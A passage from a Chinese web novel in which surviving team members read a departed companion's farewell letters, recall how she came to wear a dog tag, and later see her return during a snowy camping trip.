Yu的脖子上多了一段灰绳,他挂上了温知初曾经每天都戴着的军牌。 这个军牌的含义,连他都不知道。 正面雕刻着1104四个数字,军牌的后面还贴这一张照片,模糊不清到看不懂上面的黑影到底是什么。 晏逾明垂眼望向这块军牌。 温知初告诉他,这块军牌和他有关。 是在游泳馆里的时候,墙上的电子钟倒计时着,坐在一旁的温知初抬眼,突然和他说起了这件事。 和他有关? 他当然会追问。 不过温知初当时没告诉他。 她说,如果他们都能活着出来的话,她会亲口告诉他。 这句话,他放在心上了。 以至于当时在域里,身陷尸潮后,有那么一次受伤得太过严重,快昏死过去,昏昏沉沉再也睁不开眼的时候,晏逾明就是想着这句话,硬撑着醒过来的。 被骗了。 活着走出<深渊>的,只有他一个人。 天际,云的颜色被夕阳染红,这次,也只有他一个人在看了。 · 屋子里还是没人说话。 直到章诎抬起手,捂了下额角,头上还缠着纱布。 第五轮域里就数他受伤得最严重,前几天他刚能从病床上下地。 刚恢复,他就想起了一件事。 章诎:“…其实我想和你们说一件事。” 之前一直躺在病床上,没机会说。 其他人转头望向他。 章诎从自己的衣服内衬里,拿出了……两封信。 在域里,昏迷不醒的他被温知初给搬到了柜子里,当时温知初在他的衣服里留下了这两封信件。 直到醒来后,他才发现。 他还没拆开来看过。 看署名。 章诎:“一封是写给大家,一封是给Yu的。” 其他人还没来得及惊讶,晏逾明那道高大修长的身影走了进来。 他整个人还是冷的,脸上一点表情都没有,但走到了章诎的身旁。 “信。” 低沉的声音响起:“给我。” 他已经伸出手,把那封属于他的信给抽了出来。 平静的神情下其实是隐忍的。 再看不到温知初的任何消息,他想,他可能就要疯了。 · 温知初的字和她这个人一样,镇定、平静而沉稳。 信的内容挺简单的,言简意赅。 起码写给大家的这一封是这样的。 信的含义也很简单,开头是抱歉,抱歉没告诉他们自己离开不了<深渊>。 而后是感谢。 感谢在TRES里和大家经历的一切,她说,如果还有机会,他们也许还会再见面。 最后是祝福。 就算再也见不了面,她也相信大家会开启新的生活,会有新的人生。 往后的人生,希望他们不会再有痛苦。 落款的温知初上,还有些许血迹,显然是在匆忙里写下的。 温知初区别待遇了。 她给大家写的信只占了半页纸,给Yu写的信,超过三页纸。 晏逾明拿着信,独自站到外面去看。 夕阳还没完全落尽,晏逾明定了一会儿,才打开了信,昏黄的余晖照在信纸上。 海风吹得信纸的边角翻飞,攥着信的宽大手掌在颤抖。 Yu: 很抱歉。 我食言了。 其实我很早就知道自己走不出<深渊>,没有跟你说,一开始是觉得没必要,后来,我们的关系有了变化,没必要成了一种必要的谎言。 外面的世界好看吗? 和<深渊>里会有什么不同吗? 那里是你的来处,你肯定很熟悉。 笔在这里顿了下,留下了个墨点,像是在思考着什么。 Yu看着这个墨点,神色上的沉郁散了些。 字继续往下写。 有关情感的事,是我需要继续深造的课堂。 我要体验更多的世事,需要经历更多才行。 但有一种我能确定的情感,不用再去体悟也知道。 我在意你。 我很在意你。 我非常喜欢你。 海风里,晏逾明的心像是被一支笔重重地敲了下,他的视线在这几行字里循环,神色中又多了几分深沉的色彩,继续往下看。 你知道有一句话么,书上说,有缘的人终将是会再见面的。 虽然我不能保证什么,但,你们不是跟我说过,说我这样的人,无论什么样的事,好像只要我想做,就能做到。 现在,我想做到的事是……我想我们再次相遇。 <深渊>里的我还是会继续成长的,请相信我。 不过,这世界上也存在着一类事,无论人怎么努力,都无法达成的事。我不知道重逢是否处在这类事的范畴内。 如果我们真的再也无法相见了,还是希望你们所有人都幸福。 虽然身处两个世界,但是我们曾经的经历是不会消失的。 大自然的规律是太阳升起又落下,明天还会再升起。 正如我们的人生一样。 祝,一切都好。 落款。 温知初。 温和的话语里带着些许近似残忍的冷淡,和她这个人一样。 这封写给晏逾明的信,显然要比写给其他人的要深切许多。 剩下来还有两页信纸,上面写的是之前温知初在域里答应过的,要给晏逾明解释的事。 有关军牌的溯源。 Yu的目光还停在那句也许还会再见面的上,良久,才在栏杆旁站直了身。 他像是从海水中被打捞出来的溺水之人,原本刻薄冷漠的神情终于有了松动的痕迹,可神色又很快沉郁了下去。 再次相见,太小的概率…… 要等多久,才能等到这种几乎不可能实现的事。 虽然才过去三个月,但感觉已经过去三年了。 有关情感方面,温知初要学的果然还有很多,就譬如她一句也许,给了他希望,也给了度日如年的煎熬。 还要等多久……他在这方面没有半点耐心,真的能等到么…… 但总比之前完全没希望好多了。 患得患失的,人快疯了。 晏逾明把第一页信纸重看了无数遍,过了许久,才翻向剩下的两页纸。 军牌。 有关军牌的溯源,要从上一轮《深渊》说起了。 这一点除了温知初自己,没有任何人知晓。 这是她对晏逾明真正在意的起点。 也是她人生中最重要的转折点。 当时她还在联邦监狱里,还被称为034号,浑身上下因为受伤缠满绷带。 她的成长环境向来如此,闭塞、潮湿、黑暗、外面一排排的铁栏杆,而她对一切都不在意。 没有情感,没有任何欲望,包括离开联邦监狱的欲望都没有。 十七岁。 比赛、杀戮、竞争、实验、受伤、愈合、再受伤……也许一辈子就要这么刻板地过下去了,直到年末的一天,联邦监狱里来了新的一批人。 不是新人,是来比赛的人。 Yu,以及Yu所在的队伍。 联邦监狱被暂时被征用为SS赛的领域,他们进入监狱,在这里暂时停留。 这是温知初第一次见到Yu。 她前段时间升到A级的时候,知道了Yu的存在,不过只停留在《深渊》的文字里,亦或是数据观察里。 她注意到他,是因为他们很像。 性格的底色像、成长的经历也像,一个受限于《深渊》,一个受限于<深渊>,全都是身不由己的人。 但他们又非常不一样。 温知初看过晏逾明的数据,他并不安于受限的现状,他很想抽离《深渊》,在不断地做出改变。 了解到这一点的温知初,并不理解晏逾明为什么这么做。 不过她喜欢观察他,这是她平淡人生中最不无聊的事。 其实有点儿像在观察另一个物种,像在观察虫子。 被封进琥珀里的虫子,能逃离《深渊》这座牢笼么? 温知初没想过有这么一天,她会亲眼看到自己观察的虫子。 不是停留在文字亦或是数据层面的Yu,是一个真实的Yu。 温知初的第一感觉——他竟然是活着的。 不是杜撰的、或是想象出来的物种,是真实存在的。 所有进联邦监狱的人都会被分到军牌,上面是他们的编号,晏逾明进监狱那天的是11月4号,所以上面雕刻着1104四个数字。 温知初曾经也有个军牌,上面刻着0304 ,不过早就不知道丢在哪个血泊,或是尸堆里了。 很巧, Yu被分配到的牢房,就在她的旁边,两个房间之间相隔的只有镂空的栏杆。 某天她回来后,隔壁多了一个人。多了一个虫子,琥珀里的虫子。 她想。 她并没有主动说什么,一言不发地坐回自己的位置。 她刚训练回来,伤口又崩开了,她在重新包扎。 那时候,她的身上没有一块好皮,全都是长长短短的割痕、伤口。 用绷带一层层地包裹,从头到尾。 所以,Yu当时看到的不是温知初,是一个浑身缠满绷带、连面孔都无法露出的034号。 那时候的Yu不是现在Yu ,他受限于《深渊》,还保有深渊限制的圣父性格,做着非本性所驱使的事。 所以,善良的Yu会主动搭话,从栏杆里递来伤药。 如果不是这样,按照他们各自原来的性格,就算身处相邻的房间,谁也不会主动交流一句话。 温知初沉默着,但Yu主动开口了。 大部分时间都是他在说,她一言不发地在听。 因为她不会说话,她只能依稀理解Yu的意思,然后要想一会儿,才能明白这个人在说什么。 一开始Yu的主动交流可能只是因为受限于《深渊》的人物设定,但后来,他显然也有了自己的疑问。 他不明白为什么一个人能如此沉闷地待在联邦监狱里,哪怕过得如此惨淡而闭塞,也不想改变什么。 他看到这个浑身是绷带的人,每天回来的时候,满身都是伤,包扎的时候没露几块好皮,就算这样,她只是闷声处理伤口。 好像已经在成年累月的训练中,习惯了受伤、习惯了疼痛,习惯了不被当成人。 她知道自己是人吗? 在温知初自己看来,这是她的日常,隐忍、黑色、闭塞是她性格的底色,是组成现在的她的一部分。疼就疼,受伤就受伤,习惯了就行。 可在Yu看来,这个满身绷带的人活得窒息无比,她的人生是一滩浑浊的泥潭,没有一丝可以透气的间隙。 当时还很善良的Yu,和她谈论起外面的世界,讲如果他是她,他会想尽一切办法逃出这个监狱。 这要得益于《深渊》给他的人设,如果是展露本性的Yu,是不会有这样的耐心一遍又一遍地去劝导一个陌生人的,但当时的他,说是人设所促也好,说是推己及人也好,他真的在试图劝导一个人去改变。 温知初虽然理解的比较慢,但是她有在听。 这是第一次有人和她说这么多话。 一开始她觉得这个虫子挺聒噪,后来,她觉得,这个人,真的话很多。 在Yu那里,他是听不到任何回应的,起码第一天到第三天是这样,他只能感觉到对方的冷硬和沉默。 他试图从对方的神情里找出些回应,但只能看到缠绕得很紧的绷带。 但是在第四天开始,事情出现了变化。 温知初学东西一向很快,她已经能理解晏逾明大部分的话,不过她依旧不会回应,其一是她没学过怎么说话,其二是她的脖子最近在训练里被割伤了,声带有伤,暂时也没这个机会学说话。 不过她利用这几天,学会了写字。 在纸上,她写下了歪歪扭扭、还不怎么成形的字。 字条从监狱的栏杆缝隙塞了过去。 晏逾明展开了字条,辨认了会儿,才认出字来:外面的世界真有你说的那么好么? 温知初看着他,思绪有些发散。 她能感应到,他的数据核应该很好吃,这是她遇到的过的,最好的数据核了。 这让她更留意他,也让她有了想要回复他话语的举动。 晏逾明看着字条。 外面的世界真有说的那么好么? 他的内心冷漠而厌世,外面的世界有什么好的,也是一团乱麻,到处都是混乱,说起肮脏,哪里都一样。 外表套着一层《深渊》的人设,就注定他不可能这么直接说出口。 他也在纸条上写:外面有美好的地方,也有不美好的地方,但就算最不美好的地方,也比你在联邦监狱里待着好。 温知初:可你看起来过得也不是很好。 对面的字条很久没传回来,沉默了许久,纸张才重新塞回来。 Yu:我这是特别原因。 起码比她过得好。 他问:“难道你没什么欲望吗?” 温知初沉默而冷淡地摇头。 他问:“你不憎恨<深渊>么?” 温知初依旧摇头。 Yu :“你不想改变些什么吗?” 温知初写:改变什么? Yu:“改变你的生活,去体验另一种生活。” 他好像在对温知初说,也好像在对自己说。 温知初摇头。 可不知道为什么,也许是晏逾明此类的话重复过太多遍,不厌其烦,一遍又一遍,让她摇头的动作逐渐停住。 聒噪的虫子也许几天后就要走了,然后就没有新的人来和她说话了。 其实她是一个很容易习惯的人,习惯痛苦、习惯受伤、习惯流血……可她现在习惯了有这么一个人会不停地和她说话。 他走后,她就要不习惯了。 也许出去……能听更多的虫子说话,也是挺好的。 那些虫子,应该不会像联邦监狱里的人,永远充满了憎恨、杀戮、负面情绪,他们中,会有很多像Yu一样表面善良的人,也会有很多真正善良的人。 也许Yu看出了她的松动,继续和她说更多的事。 Yu:“如果你没有任何欲望的话,其实你可以创造一个欲望。” 创造欲望?这是什么意思? Yu给她举了个例子。 说外面有一个这样的人,患有很严重的情绪病,他对生活完全失去了兴趣,但是他后来遇到了一只猫、说是一只狗也行,他收留了无家可归的动物,在相处中,他有了想要照顾对方的欲望,有了在相处中生长起来的情感,逐渐地,他便愿意留在这个世界了。 因为他和这个世界有了牵绊。 温知初觉得这个例子其实不算很恰当。 因为她并不想死,她只是觉得一切都是平平淡淡,一切都是死水,无论监狱内监狱外,无论阳光还是黑暗,都是一样的。 不过这个虫子说得也有一定的道理,她缺少欲望。 而欲望,似乎是可以生造的,是可以通过另外一个人、物创造出来的。 温知初的目光投向了Yu。 这个硕大的虫子,可以做她欲望的存放处吗? 因为Yu是她遇到的所有人里,最让她意想不到的一个。他们处于相似的处境,但愿意改变现状的却只有他一个。 他为什么会在这样的境况下保有欲望、野心和情感呢?可能是他过得还不够惨吧…她很好奇。 而且…他的数据核真的很完美。 她没有情感,但是她可以模仿人的情感,她无法理解晏逾明为什么想要做出改变,但她可以模仿他。 意思就是,她可以把他当成一个模板,哪怕她不理解,也暂时不认同。 他想逃离<深渊>? 她可以模仿。 他说要善待好人,不要伤害善良的人,要帮助他们。 她不能理解,但她依旧可以模仿。 如果她出去后,模仿他曾在《深渊》中展露出的善良,是不是就能理解他了? 温知初不知道答案,但是她第一次产生了要离开联邦监狱的想法。 像她这样死寂的人生,也有其他的可能性么? 她不知道,但她可以尝试。 在人类的话语里,这种标杆般、模板般由着人去模仿的人物,是不是可以被称为偶像? 如果她真的出去的话,她会把他当成开启另一种生活的欲望来源。 生造一个欲望。 她会长久地注视着他。 在Yu要离开联邦监狱的那一天,温知初做好了决定。 她把字条塞给对面:我也要离开这里了。 她好像确实习惯了有人和她对话,不想再回到曾经的沉寂中。 呱噪的虫子,终究将监狱里的绷带怪物劝出了牢笼。 Yu问她出去后想干什么,她还没想好。 在他主动离开之前,温知初问他要了他的军牌,用来当成生造欲望的凭借物,从挂上军牌的这一刻开始,她要尝试着过一种新的生活。 以模仿为起点。 Yu在离开之前,嘱咐她,不要伤害善良的人,虽然这不是由他本性所说的话,但是温知初遵守了,她吃过的数据核里,从来没有道德值C级以上的。 而后,她让Yu给她拍了一张照片。 对于她习惯的日常,也是她将要离开的日常,她想用某种形式定格它。 老旧的相机对准铁栏内的她,一个满身是绷带的怪物坐在黑暗里,面无表情地看向镜头。 因为房间太过昏暗,拍出来的照片模糊成一片。 只能看到特别昏暗的一些轮廓,看不清生锈的铁栏,也看不清角落里的绷带怪物,不过那一刻,昏暗的光,确实是定格的。 温知初把照片贴在了军牌的背面。 军牌的背面是过去。 军牌的正面是将来。 不管是黑的白的,是痛苦的轻松的,是过去还是将来,都是她的一部分。 她会记住。 收到了军牌和照片,温知初不会让这只硕大的虫子空手而归。 于是她在离别的时刻,她最后给Yu写了一次字条。 她问:你有什么愿望吗? 当时的Yu ,在收到字条后并没放在心上,毕竟对方不是什么阿拉丁神灯,就算他真有什么愿望,她也不会帮他实现。 于是顺手写下一行字:逃离深渊。 是逃离《深渊》,也是逃离<深渊>。 好。 温知初看清后,认真而专注地写下最后一行字。 我帮你实现。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【END】 第107章 电子灾难结束后, 时间照常流逝。 对于有些人来说,时间过得很快,对于有些人来说, 时间却过得实在太慢。 TRES的队员们觉得离开<深渊>后,并没有想象中那么开心和解脱。 一定程度上, 他们觉得自己和时代脱节了。 灾后重建的速度很快, 到了年底的时候, 其实大部分设施都已经恢复得差不多了,商业街上人来人往, 恍惚间, 一点儿都看不出这是一个曾经遭遇过电子废土的时代。 夜晚,霓虹灯斑斓地亮起,人声鼎沸,连年末的促销活动都恢复了。 那场世纪性的灾难结束至今, 不过九个月。 TRES的队员们置身于繁华的都市,像局外人。 邱任望发现,他们好像没办法融入这个重建后的世界。 一切都很安好,看起来平和而平安, 但时间就是变得十分缓慢,每一刻都被拉长。 原因出在他们身上。 他们的身体和神经系统早就在<深渊>里训练成另一种节奏——快速反应、高强度战斗、不眠不休地奔逃杀戮。 如今的平和日常,反倒成了一种迟滞的煎熬。 从域里归来的他们, 脱节于社会的节奏。 而且现在的这个世界里, 已经没有他们的亲人了, 他们过去的生活、生命的联结, 早就被灾难给抹去得一干二净。 这里不再有他们可以倚靠的回忆。 有时,他们甚至会怀念那个压抑到极致的<深渊>。 不是因为那里有多好,是因为那里是他们如今身体和精神的真正归属, 他们的身体,已经成为杀戮和生存的构建处。 那里有他们的曾经。 那里有真正的TRES。 而这里,只有无聊而漫长的表面和平。 还有一个重要的原因是,他们几个人的身体,出现了一个惊人的变化。 这一年,他们陆续做了几次医学检查,检查结果一致得出乎所有人的意外。 他们的身体年龄,停止了。 时间在他们的时间里,停止了生长。 身体的年轮,停留在第五轮域时的年龄段。换句话说,他们再也不会变老了。 听起来好像成了些长生不老的异种。 老钱他们说这是从SS域逃脱后的副作用。 没有人能解释清楚,毕竟,能从SS域里活着走出来的,只有他们几个人了。 长生不老,听起来像是一种馈赠,现实中却更像某种带有讽刺意味的遗弃。 本来就对如今世界没有归属感的他们,现在到底算是什么? 他们还算是人吗? 他们早就不再是原来的那个不知悲难、可以庸庸碌碌随波逐流的他们了。 从踏入<深渊>域的那一刻起,他们已经成了半个深渊人。 说起这些,他们总会想起温知初。 她的年龄,是不是也永远被定格在第五轮域里了……是否也和他们一样,无法再老去? 她现在在哪里? 她在做什么? 这时候,他们突然觉得,或许因为这个副作用,温知初的那句还会再见面,才真的变得有可能。 不管深渊内外的世界是否能够再次联通,不管那一天要等多久,至少,只要他们都活着,就能一直等待下去。 可是……等待实在是太漫长了。 离开域的时候是三月初,混混沌沌已经是年底的冬日了,其实只变化了三个季节,但总觉得,三个世纪都快过去了。 时间变得好漫长啊…… 看不到边际。 11月的时候,TRES的几个人约好去雪山脚下露营。 那里寂静无人,雪下得却很大声。 车程三个小时。 晏逾明到的时候,其他人都已经到了。 大概黄昏的时候,越野车抵达了这片雪山下的土地。 邱任望站在外面不停感慨:“雪下得怎么这么大……” 感觉好像回到了之前他们还在<深渊>内的时候,他们也曾在雪山脚下露过一次营,不过这次…少了温知初。 雪花从天而降,苍苍茫茫,远处的山脊线被云雾压得低沉。 越野车在厚雪中缓慢碾出一道道深深的车辙。 车子停在了湖边。 晏逾明那道高大修长的身影从车上下来,几个月过去,身影似乎变得更为冷漠,更不近人情。 邱任望走过去:“Yu哥!” 晏逾明淡漠地点了点头。 其实,中间几个月,他们几个有尝试约Yu出来聚,但最后谁也没敢主动开这个口。 离开<深渊>后,Yu的性格更冷了。 没了《深渊》里那套人设,Yu的本性其实就是如此,拒人于千里之外,对生活里的其他事都不感兴趣。 这是他骨子里带出来的冷漠,并不是刻意为之。 在意的人不在身边,就更不可能有什么好脸色了。 晏逾明走过去,和其他人一起弄帐篷。 他穿了个黑色的羽绒服,衬得本来就冷白的脸色比铁还冷。 他全身上下,唯一看起来没那么冷硬的东西,可能就是他脖子间挂着的那个军牌了,被塞在了高领毛衣里,没在风雪里露出任何一个角。 帐篷弄好后,屈孚宁在帐篷里继续研究暖气怎么拉线,章诎和将铭在外面组装烤架。 邱任望掀开帘子,左右看了一圈:“ Yu哥呢?” 章诎:“去湖边了。” 邱任望:“去干什么了?” 章诎:“把渔具拿走了,可能是去钓鱼吧。” 邱任望有些惊讶地扬了扬眉。 他们这几个人里,没一个对钓鱼感兴趣的,Yu哥就更对这些东西不感兴趣了。 而且在这大冷天的,谁高兴去钓鱼啊。 也就温知初会做出这样的事。 所以Yu哥去湖边,是在重复去年温知初做过的事么? Yu确实对钓鱼一点兴趣都没有。 坐在湖边后,晏逾明觉得自己可能是想人想疯了,才会做出这么无聊的事。 他无法理解,为什么去年那么冷的天,温知初会选择到湖边冰钓。 如果温知初在的话,会告诉他她也不是喜欢,只是体验。 毕竟她人生中体验过的事少之又少。 去年的冬天,他跟着温知初走到湖边,看着她冰钓。 温知初无论做什么事,不论是不是第一次做,都很有耐心。 她装备得很齐整,渔具包里,不仅有一组冰钓杆,还有备用线组、诱饵和冰铲。 她会观察四周,调整冰钓的位置。 而晏逾明不同,他只带了一个冰钓杆就出来了,找了一个接近于温知初坐过的位置,便坐下。 当时,温知初是怎么做的? 晏逾明对有关她的事记得很清楚。 那道纤瘦修长的身影当时在冰旁蹲下身,摘下手套刨冰,磕碰声中,碎冰往外溅的声音显得很清晰。 凿着,直到水面在冰层间显露,水静得出奇。 冰钓太过安静,线一沉入水,时间仿若被按下暂停键,温知初默不作声着,也不动,呼吸平稳而缓慢。 雪会落在她的帽檐、肩膀上。 晏逾明永远做不到像她一样那么沉静。 他发现,他们两个人的淡漠,只是表面相似。 钓杆入了冰洞,温知初的内心可能就那么放空了,而后什么都不想,她的淡漠是由内而外的,但是他的钓杆入了冰洞后,内心升起的,却是郁躁。 满脑子都是她的身影。 她的话。 她的神情。 她的信、她的字。 看着眼前的冰洞,升起的却是毁坏欲,四周的景色很美好,可是他看不进去,他无法看到湖、雪、风,他看到的,永远是一道已经很久没见到的幻影。 还能再见么? 他很后悔。 他当初的愿望,就不应该写逃离深渊。 人永远无法共情过去的自己。 如果永远再也无法相见了,他真的能接受么? 邱任望也在想温知初,尤其在看到那个断裂成两半的冰钓杆后——他记得在Yu哥出去之前这钓杆明明还完好无损,怎么冰钓回来就身首异处了? 晚饭的时候,他们几个人的话题尽量避开深渊里的事,避免勾起大家的坏情绪。 帐篷外的篝火被风吹得噼里啪啦直响,雪落在火光照不到的地方,寂静得像另一种呼吸。 聊的大多数都是些生活琐事,邱任望聊他家附近那条路,修到现在都没有修好,但是来海边的旅客源源不断。 他说不太想回家里住了。 家里空荡荡的,就算重建了又如何呢,重建得和灾前一模一样,灾前的家人却全都没了,一个人待在那样的房子里,看到的是无论怎样都回不到的过去。 有些裂痕,只要出现,便再也修复不了。 屈孚宁与将铭和他境况相似,都曾经在相对比较幸福的家庭里长大的。 屈孚宁的父母甚至能理解孩子的怪癖,从来不会强迫他出去社交,初中的时候因为屈孚宁实在不愿意去学校,那里人太多,他觉得不舒服,他的父母替他退了学,请家庭教师给他在家上学。 而将铭,他的家庭是个单亲家庭,他有一个做事一板一眼但非常温柔、伟大的母亲,他现在的很多处事方式、他的认真以及古板,都带着母亲的影子。 可曾经的家,再也回不去了。 就算建筑可以恢复一模一样的构造,人的生命也无法再重建。 某种意义上,他们……已经没有家了。 章诎眯了眯他那个狐狸眼:“我的家里也算是彻底清净了。” 他虽然家庭背景没Yu那么高深,但也是有钱人家的孩子,他的父亲,在外面有许多个家庭,在深渊还没有降临的日子里,他的日常大多是和各种私生子、同父异母的后代争抢家产。 所以邱任望才觉得他一肚子坏水,他那样的成长环境,心思但凡稍微纯粹点儿,早就被扒到皮都不剩了。 章诎的话里带着点儿自嘲的意味:“现在好了,没有人再跟我争了。” 人都死光了。 Yu就更不用说了。 无论是<深渊>降临前还是<深渊>降临后,他一直是一个人,和温知初一样。但比她好些的是,他名义上还有个提供吃住的家。 一个绩优主义、严苛至极的家庭。 他已经快记不清那些名义上的家人到底长什么样子了,也不关心他们到底死在了哪里,尸骨埋在了哪里。 外面的雪,下个没停。 餐桌上这次没放酒,放的是牛奶。 连Yu手前放的都是牛奶,而不是烈酒。 这还得从邱任望三个月分享的那个故事有关。 三个月前,邱任望给大家一起打了个电话,说他想起了一个有点儿迷信的土办法,如果认真做的话,也许能再次见到想见的人。 他声称是老一辈的人给他讲的办法。 邱任望:“首先,得戒酒。” 他道:“然后三个月后,大概十一月左右,我们找个地方聚一聚。” 他开口:“还有其他的要点,等聚在一起的时候我再跟你们说。” 这种一听就半真半假的话,显然是他编造的。 他说这些话主要是为了劝Yu不要再酗酒,再这样下去,他怀疑Yu能把自己喝到神经中毒。 还有,他也想劝Yu出来走一走,Yu太冷漠了,他太隔绝这个世界了,感觉如果再不联系起来聚一次,Yu就要从他们的生活里彻底消失。 Yu很懒得维系这些情感,因为他不在意。 骨子里太过冷漠,甚至不在意TRES的队友情。 这种邱任望自己都不相信的话,Yu哥竟然信了,他竟然真的来了。 可能他也没真的信,只不过太想见到那个人,病急乱投医,才会真的戒了酒,出现在这里。 其他人也知道邱任望大抵是编的假话,不过还是继续问:“接下来我们得干什么?” 邱任望一下没反应过来:“啊?” 章诎:“你喊我们过来,说的那个土办法。” 邱任望坐直了,他放低声音,表情变得认真:“先,闭上眼睛。” 邱任望放低声音:“接下来,按照我说的做。” 他这次说的是真的,确实是老一辈跟他说过的办法。虽然也是迷信之说,就算偶尔灵验,也只是碰巧想见的人正好回来了。 是他们海边的一个民俗,如果有特别想见的人,譬如在外务工的孩子、譬如逝世多年的长辈……就认真地闭上眼。 如果在海边,就面朝大海,如果在山旁,就身体转朝山,如果身边无山无海,就面朝天空。 闭上双眼,认真地勾画想见的人的模样。 倒数十个数。 如果真的很想见到对方,数字倒数完后,诚心经受得住上天的考验,想见的人就会归来。 十 九 八 …… 呼吸要平稳,想象中的画面不能停。 三 二 一 睁开双眼。 帐篷里的人往外看。 白雪皑皑,一望无际的,除了雪就是雪,并没有任何人影。 雪下得好大,好寂静。 果然故事只能是故事,永远无法成真。 · 饭后,众人一起去树林里散步。 走了二十分钟,往林子深处走,雪越下越大,动物都躲起来了,除了他们几个人,周围没有任何动静。 松枝被压得低垂,积雪往下扑朔,脚下是深过一脚的雪。 天色快黑透了,灰白的光雾蒙蒙的。 没人说话,邱任望仰头,看着树枝上厚重的雪,一边想该挑起什么样的话题,一边感慨道:“…雪真大啊。” 风也大。 风吹着雪斜飞,在昏暗的光中,有张纸正好被吹到了邱任望仰头看着的那个树枝上,又往下掉。 邱任望展开纸,借着不怎么亮的雪光看字,认真地辨认清楚字后,却是愣住了。 是<深渊>的游戏宣传语。 来<深渊>游戏,开启你的第二人生。 六年前《深渊》开服时,就是这样的标语。 久违了。 哪儿来的纸。 之前的旅人遗留下来的? 正想着。 雪地深处,响起了脚步声。 他们全都停住了。 这可是在深林里,人烟如此罕见的无人之处,怎么可能会从深林里面,传来脚步声? 可那脚步声真的有,一声、一声,从深处往外走。 纤瘦修长的人影,从远处雪雾之中,缓慢地走了出来。 那一刻,世界好像被按下了静音键。 没人说话,也没人眨眼。 天连着地一片茫然,温知初从深处走来,带着身后漫天的大雪。 站定。 那双黑白分明的双眼,似乎能将这漫天的大雪,全都装进去。 “好久不见。” 如期而至的雪是冬季对世间的诺言,而温知初和她身后的大雪一样,从未食言。 大雪模糊了天际,远处的山脊线被云雾压得低沉。 温知初抬眼望向他们,衣角翻飞,嘴角有不明显的笑。 雪和声音一起落下。 “你们愿意跟我走么?” - End-魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m